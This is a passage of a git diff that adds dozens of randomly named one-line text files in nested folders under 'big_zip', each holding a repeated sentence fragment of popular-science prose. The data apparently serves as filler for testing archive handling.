+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_ggkfzjrigzxjo.txt b/big_zip/big-zip-files/folder_imhdldifac/file_ggkfzjrigzxjo.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_ggkfzjrigzxjo.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_jnnkpwqvuewzv.txt b/big_zip/big-zip-files/folder_imhdldifac/file_jnnkpwqvuewzv.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_jnnkpwqvuewzv.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_kiqdrnjhzrjgkisjzdzho.txt b/big_zip/big-zip-files/folder_imhdldifac/file_kiqdrnjhzrjgkisjzdzho.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_kiqdrnjhzrjgkisjzdzho.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_lblureax.txt b/big_zip/big-zip-files/folder_imhdldifac/file_lblureax.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_lblureax.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_ptrqkrgm.txt b/big_zip/big-zip-files/folder_imhdldifac/file_ptrqkrgm.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_ptrqkrgm.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_pvgouqonmrfceuvukvp.txt b/big_zip/big-zip-files/folder_imhdldifac/file_pvgouqonmrfceuvukvp.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_pvgouqonmrfceuvukvp.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_siphqtcouiezqghnllths.txt b/big_zip/big-zip-files/folder_imhdldifac/file_siphqtcouiezqghnllths.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_siphqtcouiezqghnllths.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_szwaxwxbeiieamnxorirotdu.txt b/big_zip/big-zip-files/folder_imhdldifac/file_szwaxwxbeiieamnxorirotdu.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_szwaxwxbeiieamnxorirotdu.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_tgykjkcbwhfzjrorzd.txt b/big_zip/big-zip-files/folder_imhdldifac/file_tgykjkcbwhfzjrorzd.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_tgykjkcbwhfzjrorzd.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_tjwugrtu.txt b/big_zip/big-zip-files/folder_imhdldifac/file_tjwugrtu.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_tjwugrtu.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_tpfhhigprxkkdruojz.txt b/big_zip/big-zip-files/folder_imhdldifac/file_tpfhhigprxkkdruojz.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_tpfhhigprxkkdruojz.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_twmxwmrp.txt b/big_zip/big-zip-files/folder_imhdldifac/file_twmxwmrp.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_twmxwmrp.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_ukesqsejlpup.txt b/big_zip/big-zip-files/folder_imhdldifac/file_ukesqsejlpup.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_ukesqsejlpup.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_vakpxqczomoixcth.txt b/big_zip/big-zip-files/folder_imhdldifac/file_vakpxqczomoixcth.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_vakpxqczomoixcth.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_yjjzlwftggvzqodyuqommqcz.txt b/big_zip/big-zip-files/folder_imhdldifac/file_yjjzlwftggvzqodyuqommqcz.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_yjjzlwftggvzqodyuqommqcz.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_zfkedvyw.txt b/big_zip/big-zip-files/folder_imhdldifac/file_zfkedvyw.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_zfkedvyw.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_bqxqsvozbjz.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_bqxqsvozbjz.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_bqxqsvozbjz.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_eapveoazbxnlorzzvt.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_eapveoazbxnlorzzvt.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_eapveoazbxnlorzzvt.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_fdugkasmauefrpmdemitzlv.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_fdugkasmauefrpmdemitzlv.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_fdugkasmauefrpmdemitzlv.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ggqtylzglhvaym.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ggqtylzglhvaym.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ggqtylzglhvaym.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_hsimgezlqtzrpff.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_hsimgezlqtzrpff.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_hsimgezlqtzrpff.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_iangotgvmmfceb.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_iangotgvmmfceb.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_iangotgvmmfceb.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_jhhogtbgxqxsijbjemcjv.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_jhhogtbgxqxsijbjemcjv.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_jhhogtbgxqxsijbjemcjv.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_msaohbjqpy.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_msaohbjqpy.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_msaohbjqpy.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_pjjkugikpragu.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_pjjkugikpragu.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_pjjkugikpragu.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_qdyxeimswonh.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_qdyxeimswonh.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_qdyxeimswonh.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_rvunqmfktygxo.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_rvunqmfktygxo.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_rvunqmfktygxo.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tbhsykwdlanvfawlalz.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tbhsykwdlanvfawlalz.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tbhsykwdlanvfawlalz.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tkvkkmblislw.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tkvkkmblislw.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_tkvkkmblislw.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_uwmmoxszfgfrjommamwykq.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_uwmmoxszfgfrjommamwykq.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_uwmmoxszfgfrjommamwykq.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_wdzyinmgwjrxlrqukjtet.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_wdzyinmgwjrxlrqukjtet.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_wdzyinmgwjrxlrqukjtet.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xggislczbd.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xggislczbd.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xggislczbd.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xrvtqpsbn.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xrvtqpsbn.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_xrvtqpsbn.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ydulkiiwavxgdzcbyrzzu.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ydulkiiwavxgdzcbyrzzu.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_ydulkiiwavxgdzcbyrzzu.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zgkaasvefubgw.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zgkaasvefubgw.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zgkaasvefubgw.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zmwzonwfacaws.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zmwzonwfacaws.txt
new file mode 100644
index 0000000..47eb5ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/file_zmwzonwfacaws.txt
@@ -0,0 +1 @@
+ones are afraid of storms. And sometimes so am I. The secret of the storm is hidden. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/dhjswtrirytwpyixhnil.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/dhjswtrirytwpyixhnil.txt
new file mode 100644
index 0000000..e678aca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/dhjswtrirytwpyixhnil.txt
@@ -0,0 +1 @@
+frontal scoop hundreds of kilometers across. When the ship reaches relativistic velocities,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/fhdyxvqenocsdgilnkyqlgl.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/fhdyxvqenocsdgilnkyqlgl.txt
new file mode 100644
index 0000000..3d3139f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/fhdyxvqenocsdgilnkyqlgl.txt
@@ -0,0 +1 @@
+renewed contraction of its helium-rich core and a further increase in its interior
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_agoxmtknnvqnuxcrrpy.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_agoxmtknnvqnuxcrrpy.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_agoxmtknnvqnuxcrrpy.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_arjglqtpceegjsypfxwpawkb.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_arjglqtpceegjsypfxwpawkb.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_arjglqtpceegjsypfxwpawkb.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_bwytrodgjxb.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_bwytrodgjxb.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_bwytrodgjxb.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_cvyeiofaisxzjhc.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_cvyeiofaisxzjhc.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_cvyeiofaisxzjhc.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_dxbxjblpct.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_dxbxjblpct.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_dxbxjblpct.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_euhijgtndbzs.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_euhijgtndbzs.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_euhijgtndbzs.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hatcnwqxqzhyxmiwkiggmma.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hatcnwqxqzhyxmiwkiggmma.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hatcnwqxqzhyxmiwkiggmma.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hetawgoz.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hetawgoz.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_hetawgoz.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jgshnklxtunxjbwyifvuyucw.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jgshnklxtunxjbwyifvuyucw.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jgshnklxtunxjbwyifvuyucw.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jxjzmxrohlpluhv.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jxjzmxrohlpluhv.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_jxjzmxrohlpluhv.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_lqgufqmjtyulraxgcikjv.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_lqgufqmjtyulraxgcikjv.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_lqgufqmjtyulraxgcikjv.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mueipurbyzjebgznxhkuzl.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mueipurbyzjebgznxhkuzl.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mueipurbyzjebgznxhkuzl.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mxzydyxmrp.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mxzydyxmrp.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_mxzydyxmrp.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_njpobnwg.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_njpobnwg.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_njpobnwg.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_qynwlyawgvyasaozfhipqd.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_qynwlyawgvyasaozfhipqd.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_qynwlyawgvyasaozfhipqd.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_rtzqzkhua.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_rtzqzkhua.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_rtzqzkhua.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_schkjjuwqdizcpscddkje.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_schkjjuwqdizcpscddkje.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_schkjjuwqdizcpscddkje.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_sufbnkdgtxui.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_sufbnkdgtxui.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_sufbnkdgtxui.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_syhkrcjqdvnzbfanjf.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_syhkrcjqdvnzbfanjf.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_syhkrcjqdvnzbfanjf.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_vwgogevdmxlijytrbhpogeod.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_vwgogevdmxlijytrbhpogeod.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_vwgogevdmxlijytrbhpogeod.txt
@@ -0,0 +1 @@
